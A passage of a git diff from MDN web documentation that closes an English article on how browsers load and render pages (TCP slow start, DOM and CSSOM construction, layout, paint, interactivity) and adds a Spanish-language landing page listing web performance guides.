+<p>While making the connection secure adds time to the page load, a secure connection is worth the latency expense, as the data transmitted between the browser and the web server cannot be decrypted by a third party.</p>
+
+<p>After the 8 round trips, the browser is finally able to make the request.</p>
+
+<h2 id="Response">Response</h2>
+
+<p>Once we have an established connection to a web server, the browser sends an initial <a href="/en-US/docs/Web/HTTP/Methods">HTTP <code>GET</code> request</a> on behalf of the user, which for websites is most often an HTML file. Once the server receives the request, it will reply with relevant response headers and the contents of the HTML.</p>
+
+<pre class="brush: html notranslate">&lt;!doctype HTML&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;meta charset="UTF-8"/&gt;
+  &lt;title&gt;My simple page&lt;/title&gt;
+  &lt;link rel="stylesheet" src="styles.css"/&gt;
+  &lt;script src="myscript.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1 class="heading"&gt;My Page&lt;/h1&gt;
+  &lt;p&gt;A paragraph with a &lt;a href="https://example.com/about"&gt;link&lt;/a&gt;&lt;/p&gt;
+  &lt;div&gt;
+    &lt;img src="myimage.jpg" alt="image description"/&gt;
+  &lt;/div&gt;
+  &lt;script src="anotherscript.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>This response for this initial request contains the first byte of data received. {{glossary('Time to First Byte')}} (TTFB) is the time between when the user made the request—say by clicking on a link—and the receipt of this first packet of HTML. The first chunk of content is usually 14kb of data.</p>
+
+<p>In our example above, the request is definitely less than 14Kb, but the linked resources aren't requested until the browser encounters the links during parsing, described below.</p>
+
+<h3 id="TCP_Slow_Start_14kb_rule">TCP Slow Start / 14kb rule</h3>
+
+<p>The first response packet will be 14Kb. This is part of {{glossary('TCP slow start')}}, an algorithm which balances the speed of a network connection. Slow start gradually increases the amount of data transmitted until the network's maximum bandwidth can be determined.</p>
+
+<p>In {{glossary('TCP slow start')}}, after receipt of the initial packet, the server doubles the size of the next packet to around 28Kb. Subsequent packets increase in size until a predetermined threshold is reached, or congestion is experienced.</p>
+
+<p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>If you’ve ever heard of the 14Kb rule for initial page load, TCP slow start is the reason why the initial response is 14Kb, and why web performance optimization calls for focusing optimizations with this initial 14Kb response in mind. TCP slow start gradually builds up transmission speeds appropriate for the network's capabilities to avoid congestion.</p>
+
+<h3 id="Congestion_control">Congestion control</h3>
+
+<p><span style="font-weight: 400;">As the server sends data in TCP packets, the user's client confirms delivery by returning acknowledgements, or ACKs. The connection has a limited capacity depending on hardware and network conditions. If the server sends too many packets too quickly, they will be dropped. Meaning, there will be no acknowledgement. The server registers this as missing ACKs. Congestion control algorithms use this flow of sent packets and ACKs to determine a send rate.</span></p>
+
+<h2 id="Parsing">Parsing</h2>
+
+<p>Once the browser receives the first chunk of data, it can begin parsing the information received. {{glossary('speculative parsing', 'Parsing')}} is the step the browser takes to turn the data it receives over the network into the {{glossary('DOM')}} and {{glossary('CSSOM')}}, which is used by the renderer to paint a page to the screen.</p>
+
+<p>The DOM is the internal representation of the markup for the browser. The DOM is also exposed, and can be manipulated through various APIs in JavaScript.</p>
+
+<p>Even if the request page's HTML is larger than the initial 14KB packet, the browser will begin parsing and attempting to render an experience based on the data it has. This is why it's important for web performance optimization to include everything the browser needs to start rendering a page, or at least a template of the page - the CSS and HTML needed for the first render -- in the first 14 kilobytes. But before anything is rendered to the screen, the HTML, CSS, and JavaScript have to be parsed.</p>
+
+<h3 id="Building_the_DOM_tree">Building the DOM tree</h3>
+
+<p>We describe five steps in the <a href="/en-US/docs/Web/Performance/Critical_rendering_path">critical rendering path</a>.</p>
+
+<p>The first step is processing the HTML markup and building the DOM tree. HTML parsing involves <a href="/en-US/docs/Web/API/DOMTokenList">tokenization</a> and tree construction. HTML tokens include start and end tags, as well as attribute names and values. If the document is well-formed, parsing it is straightforward and faster. The parser parses tokenized input into the document, building up the document tree.</p>
+
+<p>The DOM tree describes the content of the document. The <code><a href="/en-US/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> element is the first tag and root node of the document tree. The tree reflects the relationships and hierarchies between different tags. Tags nested within other tags are child nodes. The greater the number of DOM nodes, the longer it takes to construct the DOM tree.</p>
+
+<p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p>
+
+<p>When the parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. Parsing can continue when a CSS file is encountered, but <code>&lt;script&gt;</code> tags—particularly those without an <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">async</a></code> or <code>defer</code> attribute—block rendering, and pause the parsing of HTML. Though the browser's preload scanner hastens this process, excessive scripts can still be a significant bottleneck.</p>
+
+<h3 id="Preload_scanner">Preload scanner</h3>
+
+<p>While the browser builds the DOM tree, this process occupies the main thread. As this happens, the <em>preload scanner</em> will parse through the content available and request high priority resources like CSS, JavaScript, and web fonts. Thanks to the preload scanner, we don't have to wait until the parser finds a reference to an external resource to request it. It will retrieve resources in the background so that by the time the main HTML parser reaches requested assets, they may possibly already be in flight, or have been downloaded. The optimizations the preload scanner provides reduce blockages.</p>
+
+<pre class="brush:html notranslate">&lt;link rel="stylesheet" src="styles.css"/&gt;
+&lt;script src="myscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+&lt;img src="myimage.jpg" alt="image description"/&gt;
+&lt;script src="anotherscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+</pre>
+
+<p>In this example, while the main thread is parsing the HTML and CSS, the preload scanner will find the scripts and image, and start downloading them as well. To ensure the script doesn't block the process, add the <code>async</code> attribute, or the <code>defer</code> attribute if JavaScript parsing and execution order is not important.</p>
+
+<p>Waiting to obtain CSS doesn't block HTML parsing or downloading, but it does block JavaScript, because JavaScript is often used to query CSS properties’ impact on elements.</p>
+
+<h3 id="Building_the_CSSOM">Building the CSSOM</h3>
+
+<p>The second step in the critical rendering path is processing CSS and building the CSSOM tree. The CSS object model is similar to the DOM. <span style="color: #212121; display: inline !important; float: none; font-family: Roboto,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">The DOM and CSSOM are both trees. They are independent data structures</span>. The browser converts the CSS rules into a map of styles it can understand and work with. The browser goes through each rule set in the CSS, creating a tree of nodes with parent, child, and sibling relationships based on the CSS selectors.</p>
+
+<p>As with HTML, the browser needs to convert the received CSS rules into something it can work with. Hence, it repeats the HTML-to-object process, but for the CSS.</p>
+
+<p>The CSSOM tree includes styles from the user agent style sheet. The browser begins with the most general rule applicable to a node and recursively refines the computed styles by applying more specific rules. In other words, it cascades the property values.</p>
+
+<p>Building the CSSOM is very, very fast and is not displayed in a unique color in current developer tools. Rather, the "Recalculate Style" in developer tools shows the total time it takes to parse CSS, construct the CSSOM tree, and recursively calculate computed styles. In terms of web performance optimization, there are lower hanging fruit, as the total time to create the CSSOM is generally less than the time it takes for one DNS lookup.</p>
+
+<h3 id="Other_Processes">Other Processes</h3>
+
+<h4 id="JavaScript_Compilation">JavaScript Compilation</h4>
+
+<p>While the CSS is being parsed and the CSSOM created, other assets, including JavaScript files, are downloading (thanks to the preload scanner). JavaScript is interpreted, compiled, parsed and executed. The scripts are parsed into abstract syntax trees. Some browser engines take the {{glossary('Abstract Syntax Tree')}} and pass it into an interpreter, outputting bytecode which is executed on the main thread. This is known as JavaScript compilation.</p>
+
+<h4 id="Building_the_Accessibility_Tree">Building the Accessibility Tree</h4>
+
+<p>The browser also builds an <a href="/en-US/docs/Learn/Accessibility">accessibility</a> tree that assistive devices use to parse and interpret content. The accessibility object model (AOM) is like a semantic version of the DOM. The browser updates the accessibility tree when the DOM is updated. The accessibility tree is not modifiable by assistive technologies themselves.</p>
+
+<p>Until the AOM is built, the content is not accessible to <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Screen_Reader_Implementors_Guide">screen readers</a>.</p>
+
+<h2 id="Render">Render</h2>
+
+<p>Rendering steps include style, layout, paint and, in some cases, compositing. The CSSOM and DOM trees created in the parsing step are combined into a render tree which is then used to compute the layout of every visible element, which is then painted to the screen. In some cases, content can be promoted to their own layers and composited, improving performance by painting portions of the screen on the GPU instead of the CPU, freeing up the main thread.</p>
+
+<h3 id="Style">Style</h3>
+
+<p>The third step in the critical rendering path is combining the DOM and CSSOM into a render tree.The computed style tree, or render tree, construction starts with the root of the DOM tree, traversing each visible node.</p>
+
+<p>Tags that aren't going to be displayed, like the <code><a href="/en-US/docs/Web/HTML/Element/head">&lt;head&gt;</a></code> and its children and any nodes with <code>display: none</code>, such as the <code>script { display: none; }</code> you will find in user agent stylesheets, are not included in the render tree as they will not appear in the rendered output. Nodes with <code>visibility: hidden</code> applied are included in the render tree, as they do take up space. As we have not given any directives to override the user agent default, the <code>script</code> node in our code example above will not be included in the render tree.</p>
+
+<p>Each visible node has its CSSOM rules applied to it. The render tree holds all the visible nodes with content and computed styles -- matching up all the relevant styles to every visible node in the DOM tree, and determining, based on the <a href="/en-US/docs/Web/CSS/Cascade">CSS cascade</a>, what the computed styles are for each node.</p>
+
+<h3 id="Layout">Layout</h3>
+
+<p>The fourth step in the critical rending path is running layout on the render tree to compute the geometry of each node. <em>Layout</em> is the process by which the width, height, and location of all the nodes in the render tree are determined, plus the determination of the size and position of each object on the page. <em>Reflow</em> is any subsequent size and position determination of any part of the page or the entire document.</p>
+
+<p>Once the render tree is built, layout commences. The render tree identified which nodes are displayed (even if invisible) along with their computed styles, but not the dimensions or location of each node. To determine the exact size and location of each object, the browser starts at the root of the render tree and traverses it.</p>
+
+<p>On the web page, most everything is a box. Different devices and different desktop preferences mean an unlimited number of differing viewport sizes. In this phase, taking the viewport size into consideration, the browser determines what the dimensions of all the different boxes are going to be on the screen. Taking the size of the viewport as its base, layout generally starts with the body, laying out the dimensions of all the body’s descendants, with each element's box model properties, providing placeholder space for replaced elements it doesn’t know the dimensions of, such as our image.</p>
+
+<p>The first time the size and position of nodes are determined is called <em>layout</em>. Subsequent recalculations of node size and locations are called <em>reflows</em>.  In our example, suppose the initial layout occurs before the image is returned. Since we didn't declare the size of our image, there will be a reflow once the image size is known.</p>
+
+<h3 id="Paint">Paint</h3>
+
+<p>The last step in the critical rendering path is painting the individual nodes to the screen, the first occurence of which is called the <a href="/en-US/docs/Glossary/first_meaningful_paint">first meaningful paint</a>. In the painting or rasterization phase, the browser converts each box calculated in the layout phase to actual pixels on the screen. Painting involves drawing every visual part of an element to the screen, including text, colors, borders, shadows, and replaced elements like buttons and images. The browser needs to do this super quickly.</p>
+
+<p>To ensure smooth scrolling and animation, everything occupying the main thread, including calculating styles, along with reflow and paint, must take the browser less than 16.67ms to accomplish. At 2048 X 1536, the iPad has over 3,145,000 pixels to be painted to the screen. That is a lot of pixels that have to be painted very quickly. To ensure repainting can be done even faster than the initial paint, the drawing to the screen is generally broken down into several layers. If this occurs, then compositing is necessary.</p>
+
+<p>Painting can break the elements in the layout tree into layers. Promoting content into layers on the GPU (instead of the main thread on the CPU) improves paint and repaint performance. There are specific properties and elements that instantiate a layer, including <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> and <code><a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a></code>, and any element which has the CSS properties of <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, a 3D <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>, <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>, and a few others. These nodes will be painted onto their own layer, along with their descendants, unless a descendant necessitates its own layer for one (or more) of the above reasons.</p>
+
+<p>Layers do improve performance, but are expensive when it comes to memory management, so should not be overused as part of web performance optimization strategies.</p>
+
+<h3 id="Compositing">Compositing</h3>
+
+<p>When sections of the document are drawn in different layers, overlapping each other, compositing is necessary to ensure they are drawn to the screen in the right order and the content is rendered correctly.</p>
+
+<p>As the page continues to load assets, reflows can happen (recall our example image that arrived late).  A reflow sparks a repaint and a re-composite. Had we defined the size of our image, no reflow would have been necessary, and only the layer that needed to be repainted would be repainted, and composited if necessary. But we didn't include the image size! When the image is obtained from the server, the rendering process goes back to the layout steps and restarts from there.</p>
+
+<h2 id="Interactivity">Interactivity</h2>
+
+<p>Once the main thread is done painting the page, you would think we would be "all set." That isn't necessarily the case. If the load includes JavaScript, that was correctly deferred, and only executed after the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code> event fires, the main thread might be busy, and not available for scrolling, touch, and other interactions.</p>
+
+<p>{{glossary('Time to Interactive')}} (TTI) is the measurement of how long it took from that first request which led to the DNS lookup and SSL connection to when the page is interactive -- interactive being the point in time after the {{glossary('First Contentful Paint')}} when the page responds to user interactions within 50ms. If the main thread is occupied parsing, compiling, and executing JavaScript, it is not available and therefore not able to responsd to user interactions in a timely (less than 50ms) fashion.</p>
+
+<p>In our example, maybe the image loaded quickly, but perhaps the <code>anotherscript.js</code> file was 2MB and our user's network connection was slow.  In this case the user would see the page super quickly, but wouldn't be able to scroll without jank until the script was downloaded, parsed and executed. That is not a good user experience. Avoid occupying the main thread, as demonstrated in this WebPageTest example:</p>
+
+<p><img alt="The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection" src="https://mdn.mozillademos.org/files/16760/visa_network.png" style="height: 699px; width: 1200px;"></p>
+
+<p>In this example, the DOM content load process took over 1.5 seconds, and the main thread was fully occupied that entire time, unresponsive to click events or screen taps.</p>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Performance">Web Performance</a></li>
+</ul>
diff --git a/files/es/web/performance/index.html b/files/es/web/performance/index.html
new file mode 100644
index 0000000000..9b27ba854c
--- /dev/null
+++ b/files/es/web/performance/index.html
@@ -0,0 +1,242 @@
+---
+title: Rendimiento Web
+slug: Web/Performance
+tags:
+  - Mejores Practicas
+  - Pagina de Inicio
+  - Rendimiento
+  - Rendimiento Web
+translation_of: Web/Performance
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary">El rendimiento web es la medición objetiva y la experiencia percibida por el usuario del tiempo de carga y el tiempo de ejecución; es el tiempo que tarda un sitio en cargarse, ser interactivo y responsivo, y que tan fluido es el contenido durante las interacciones del usuario: ¿el desplazamiento es suave? ¿Se puede hacer clic en los botones? ¿Las ventanas emergentes se abren rápidamente y se animan fluidamente al hacerlo? El rendimiento web incluye mediciones objetivas como el tiempo de carga, cuadros por segundo y tiempo para interactuar y subjetivas de cuánto tiempo se sintió que tardó en cargarse el contenido.</span></p>
+
+<p><span class="seoSummary">Cuanto más tarde un sitio en responder, más usuarios abandonarán el sitio. Es importante minimizar los tiempos de carga y respuesta, y agregar funciones adicionales para ocultar la latencia al hacer que la experiencia sea lo más accesible e interactiva posible, tan pronto como sea posible, mientras se carga de forma asíncrona en las partes que más tarda la experiencia.</span></p>
+
+<p><span class="seoSummary">Existen herramientas, API y mejores prácticas que nos ayudan a medir y mejorar el rendimiento web. Los cubrimos en esta sección.</span></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 id="Tutoriales_claves">Tutoriales claves</h2>
+
+<p>El <a href="/en-US/docs/Learn/Performance">Área de aprendizaje de Rendimiento</a> Web de MDN contiene tutoriales modernos y actualizados que cubren aspectos esenciales del rendimiento:<br>
+  </p>
+
+<p><a href="/en-US/docs/Learn/Performance/What_is_web_performance">¿Qué es el rendimiento web?</a></p>
+
+<p>Este artículo inicia el módulo con un buen vistazo a lo que realmente es el rendimiento: esto incluye las herramientas, métricas, API, redes y grupos de personas que debemos tener en cuenta al pensar en el rendimiento y cómo podemos hacer que el rendimiento sea parte de nuestro flujo de trabajo de desarrollo web.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Performance/Critical_rendering_path">Ruta crítica de renderización</a></dt>
+ <dd>Algunos atributos y el orden en los origenes del código  pueden afectar el rendimiento o su sitio web. Al minimizar el número de nodos del DOM, asegurándose de utilizar el mejor orden y los atributos para el contenido incluido, como estilos, código, elementos multimedia y código de terceros, puede mejorar drásticamente la experiencia del usuario. Este artículo analiza en detalle cómo el HTML y la ruta crítica de renderización pueden usarse para garantizar el máximo rendimiento.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">Mejores prácticas de rendimiento de Javascript</a></dt>
+ <dd>JavaScript, cuando se usa correctamente, puede permitir experiencias web interactivas e inmersivas ... o puede dañar significativamente el tiempo de descarga, el tiempo de reproducción, el rendimiento de la aplicación, la duración de la batería y la experiencia del usuario. Este artículo describe algunas de las mejores prácticas de JavaScript que pueden garantizar que, incluso el contenido más complejo, tenga el mejor rendimiento posible.<br>
+  </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: Images and Video</a></dt>
+ <dd>Con frecuencia, la optimización de elementos multimedia es la forma más usada de hacer rendimiento web. Es posible servir diferentes archivos multimedia según el tipo de navegador, el tamaño y la densidad de píxeles de cada usuario. Consejos adicionales, como eliminar el sonido en imágenes de fondo, pueden mejorar aún más el rendimiento. En este artículo, analizamos el impacto que el video, el audio y el contenido de imagen tienen en el rendimiento y los métodos para garantizar que su impacto sea el mínimo posible.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS_performance">Características de rendimiento CSS </a></dt>
+ <dd>CSS puede tener un enfoque de optimización menos importante para mejorar el rendimiento, pero hay algunas características de CSS que afectan el rendimiento más que otras. En este artículo, analizamos algunas propiedades de CSS que afectan el rendimiento y sugerimos formas de manejar los estilos para garantizar que el rendimiento no se vea afectado negativamente.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/perceived_performance">¿Como los usuarios perciben el rendimiento?</a></dt>
+ <dd>
+ <p>Más importante que la rapidez de su sitio web en milisegundos, es la rapidez con la que los usuarios perciben su sitio. El tiempo de carga, el tiempo en ocio de la página, la capacidad de respuesta a la interacción del usuario y lo fluido de los desplazamientos y otras animaciones afectan estas percepciones. En este artículo, analizamos las diversas métricas de carga, animación y métricas de capacidad de respuesta, junto con las mejores prácticas para mejorar la percepción del usuario, y de los tiempos reales.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/web_performance_basics">Conceptos básicos de rendimiento web</a></dt>
+ <dd>Además de los componentes HTML, CSS, JavaScript y archivos multimedia, hay características que pueden hacer que las aplicaciones sean más lentas y características que pueden hacer que las aplicaciones sean subjetivamente y objetivamente más rápidas. Existen muchas API, herramientas de desarrollo, mejores prácticas y malas prácticas relacionadas con el rendimiento web. Aquí presentaremos muchas de estas funciones al nivel básico y proporcionaremos enlaces a temas más profundos para mejorar el rendimiento en cada tema.</dd>
+ <dt>
+ <p><a href="/en-US/docs/Learn/Performance/Mobile">Rendimiento movil</a></p>
+ </dt>
+ <dd>
+ <p>Dado que el acceso a la web en dispositivos móviles es tan popular y que todas las plataformas móviles tienen navegadores web completos, pero es posible que el ancho de banda, la CPU y la vida útil de la batería sean limitados, es importante considerar el rendimiento de su contenido web en estas plataformas. Este artículo analiza las consideraciones de rendimiento específicas para dispositivos móviles.</p>
+ </dd>
+ <dt>Llenando la página</dt>
+ <dd>El cliente realiza una solicitud HTTP y, con suerte, unos segundos después, aparece el sitio. Mostrar el contenido implica ejecutar JavaScript, posiblemente modificando el DOM, calcular estilos, calcular la disposición del diseño y, finalmente, representar el contenido, lo que implica pintar y componer, y puede involucrar la aceleración de la GPU en un hilo de ejecución separado.<br>
+ .</dd>
+ <dt>Cuellos de botella en rendimiento </dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Web/Performance/time_to_interactive">Tiempo para interactuar</a></dt>
+ <dd> </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Latency">Entendiendo la latencia</a></dt>
+ <dd>
+ <p>La latencia es la cantidad de tiempo que se tarda entre realizar una solicitud de un recurso y recibir el primer byte del recurso solicitado. Este artículo explica qué es la latencia, cómo afecta el rendimiento y cómo medir y mejorar la latencia.</p>
+ </dd>
+ <dt>Entendiendo ancho de banda </dt>
+ <dd>
+ <div>
+ <div class="public-DraftStyleDefault-block public-DraftStyleDefault-ltr"><span><span>El ancho de banda es la cantidad de datos (medidos en Mbps o Kbps) que uno puede enviar por segundo. Este artículo explica la función del ancho de banda en las aplicaciones de Internet ricas en elementos multimedia, cómo puede medirlo y cómo puede optimizar las aplicaciones para aprovechar al máximo el ancho de banda disponible.</span></span></div>
+ </div>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/HTTP2">HTTP/2 y tu</a></dt>
+ <dd>
+ <p>La capa de transporte, es decir, HTTP, es absolutamente esencial para el funcionamiento de la web, y solo recientemente se ha visto una actualización importante en la forma de HTTP/2.  Viendolo de otra forma HTTP/2 proporciona muchas mejoras de rendimiento y ventajas sobre su predecesor, pero también cambia el panorama. En este artículo, aprenderá lo que HTTP/2 hace por usted, y cómo ajustar su aplicación para que vaya más allá.</p>
+ </dd>
+ <dt>El papel de TLS en el rendimiento</dt>
+ <dd>
+ <p>TLS o HTTPS, como solemos llamarlo, es crucial para crear experiencias de usuario seguras. Si bien el hardware ha reducido los impactos negativos que TLS ha tenido en el rendimiento del servidor, todavía representa una porción sustancial del tiempo que pasamos esperando que los navegadores se conecten a los servidores. Este artículo explica el proceso de reconocimiento de TLS y ofrece algunos consejos para reducir este tiempo, como el grapado OCSP, los encabezados de precarga de HSTS y el posible papel de las sugerencias de recursos en el enmascaramiento de la latencia TLS para terceros.<br>
+   </p>
+ </dd>
+ <dt>Leyendo gráficos de rendimientos </dt>
+ <dd>Las herramientas del desarrollador proporcionan información sobre el rendimiento, la memoria y las solicitudes de red. Saber cómo leer los cuadros de cascada, los árboles de llamadas, los trazos, los gráficos de llamas y las asignaciones de memoria en las herramientas de desarrollo de su navegador lo ayudará a comprender los cuadros de cascada y de llama en otras herramientas de rendimiento.</dd>
+ <dt>Analizando paquetes de JavaScript</dt>
+ <dd><span><span>Sin duda, JavaScript es una gran parte del desarrollo web moderno. Si bien siempre debemos esforzarnos por reducir la cantidad de JavaScript que se utiliza en nuestas aplicaciones, puede ser difícil saber dónde comenzar. En esta guía, le mostraremos cómo analizar los paquetes de scripts de su aplicación, para que sepa qué está utilizando y cómo detectar si su aplicación contiene scripts duplicados entre paquetes.</span></span></dd>
+ <dt><br>
+  </dt>
+ <dt><a href="/en-US/docs/Web/Performance/Lazy_loading">Carga diferida </a></dt>
+ <dd>No siempre es necesario cargar todos los activos de aplicaciones web en la carga de la página inicial. La carga diferida es diferir la carga de elementos en una página, como scripts, imágenes, etc., para un momento posterior, cuando esos elementos son realmente necesarios.</dd>
+ <dd> </dd>
+</dl>
+
+<dl>
+ <dt>Carga diferida de JavaScript con import()</dt>
+ <dd>El término "carga diferida" a menudo se refiere a técnicas de aplazamiento de carga para elementos que no se muestran en la vista inicial de la página solo cuando el usuario se desplaza hacia esos elementos en la página. Ahora hay características nativas para cargar JavaScript! En esta guía, hablaremos sobre el compando import() de carga dinamica, una nueva función del navegador, que carga un módulo de JavaScript a pedido.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">Controlar la entrega de recursos con sugerencias de recursos</a></dt>
+ <dd>Los navegadores a menudo saben mejor que nosotros cuando se trata de la priorización y la entrega de recursos, pero están lejos de ser clarividentes. Las características nativas del navegador nos permiten sugerirle al navegador cuándo debe conectarse a otro servidor, o precargar un recurso antes de que el navegador sepa que lo necesita. Cuando se usa juiciosamente, esto puede hacer que la experiencia rápida parezca aún más rápida. En este artículo, cubrimos las características nativas del navegador como rel = preconnect, rel = dns-prefetch, rel = prefetch y rel = precarga, y cómo usarlas para su ventaja.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Documentacion adicional</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Performance/business_case_for_performance">Caso de negocio para rendimiento web</a></dt>
+ <dd>
+ <p>Usted sabe que el rendimiento web es importante, pero ¿cómo convencer a los clientes y a la administrativos para que inviertan en el rendimiento y lo conviertan en una prioridad? En este artículo, discutiremos la creación de un caso de negocio claro para convencer a los tomadores de decisiones para que hagan la inversión.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Performance_budget">Presupuestos de rendimiento</a></dt>
+ <dd>Las necesidades de mercadotecnia, diseño y ventas, y la experiencia del desarrollador, grandes anuncios, scripts de terceros y otras características que pueden ralentizar el rendimiento web. Para ayudar a establecer prioridades, es útil establecer un presupuesto de desempeño: un conjunto de restricciones que no deben excederse durante la fase de desarrollo. En este artículo, analizaremos la creación y el apego a un presupuesto de rendimiento.</dd>
+ <dt><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Lista de pendientes de rendimiento móvil </a></dt>
+ <dd>Una lista de pendientes concisa de las consideraciones de rendimiento que afectan a los usuarios de redes móviles en dispositivos portátiles que funcionan con baterías.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance">Optimización del rendimiento de inicio </a></dt>
+ <dd>¿Cuánto tiempo demora su aplicación en iniciarse? ¿Bloquea el navegador mientras se carga? Tómese el tiempo para asegurarse de que su aplicación se inicie bien. Este artículo ofrece consejos y sugerencias para ayudarle a alcanzar ese objetivo.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance">Funciones de rendimiento en las herramientas de desarrollo</a></dt>
+ <dd>This section provides information on how to use and understand the performance features in your developer tools, including <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a>, and <a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Charts</a>.<br>
+ Esta sección proporciona información sobre cómo utilizar y comprender las funciones de rendimiento en sus herramientas de desarrollador, incluidos <a href="/en-US/docs/Tools/Performance/Waterfall">gráficos de cascada</a>, <a href="/en-US/docs/Tools/Performance/Call_Tree">árbol de llamadas</a> y <a href="/en-US/docs/Tools/Performance/Flame_Chart">gráficos de llamas</a></dd>
+</dl>
+
+<dl>
+ <dt> </dt>
+ <dt><a href="/en-US/docs/Learn/Performance/Latency">Entendiendo la latencia</a></dt>
+ <dd>
+ <p>La latencia es la cantidad de tiempo que se tarda entre realizar una solicitud de un recurso y recibir el primer byte del recurso solicitado. Este artículo explica qué es la latencia, cómo afecta el rendimiento y cómo medir y mejorar la latencia.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/Performance/Checklist">Lista de control de rendimiento web</a></dt>
+ <dd>Una lista de verificación del rendimiento de las funciones que se deben tener en cuenta al desarrollar aplicaciones con enlaces a tutoriales sobre cómo implementar cada una de ellas, incluye service workers, diagnóstico de problemas de rendimiento, mejores prácticas de carga de fuentes, sugerencias para los clientes, creación de animaciones optimizadas, etc.</dd>
+ <dt> </dt>
+</dl>
+
+<h3 id="Rendimiento_de_aplicaciones">Rendimiento de aplicaciones</h3>
+
+<dl>
+ <dt><a href="/en-US/Apps/Developing/Performance/Performance_fundamentals">Fundamentos de rendimiento</a></dt>
+ <dd>Una visión general del rendimiento de las aplicaciones web, qué es, cómo el navegador ayuda a mejorarlo, y qué herramientas y procesos puede utilizar para probar y mejorarlo aún más.</dd>
+ <dt><a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizando el rendimiento de inicio</a></dt>
+ <dd>Consejos y sugerencias para ayudarlo a mejorar el rendimiento de inicio, tanto al escribir una nueva aplicación como al migrar una aplicación de otra plataforma a la Web.</dd>
+ <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Profiling con el profiler integrado</a> </dt>
+ <dd>Aprenda como rastrear el performance de las aplicaciones con el profiler integrado de Firefox.</dd>
+ <dt><a href="/en-US/Apps/Build/Performance/CSS_JavaScript_animation_performance">Rendimiento en animaciones con CSS y con JavaScript </a></dt>
+ <dd>Las animaciones son críticas para una experiencia de usuario placentera. Este artículo analiza las diferencias de rendimiento entre las animaciones basadas en CSS y JavaScript. </dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Performance">Ver todos los articulos acerca de rendimiento...</a></span></p>
+</div>
+</div>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<p>HTML</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/picture">El elemento <code>&lt;picture&gt;</code> </a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/video">El elemento <code>&lt;video&gt;</code></a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/source">El elemento <code>&lt;source&gt;</code></a></li>
+ <li><a href="/en-US/docs/Web/HTML/Element/img#Attributes">El atributo <code>&lt;img&gt; srcset</code> </a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Imagenes responsivas</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/HTML/Preloading_content">Precargando contenido con <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ </a>)</li>
+</ul>
+
+<p>CSS</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/will-change">will-change</a></li>
+ <li>GPU v CPU</li>
+ <li>Midiendo disposición del diseño</li>
+ <li>Mejores practicas en carga de fuentes</li>
+</ul>
+
+<p>JavaScript</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></li>
+ <li><a href="/en-US/docs/Glossary/Garbage_collection">Recolector de basura </a></li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a></li>
+</ul>
+
+<p>APIs</p>
+
+<ul>
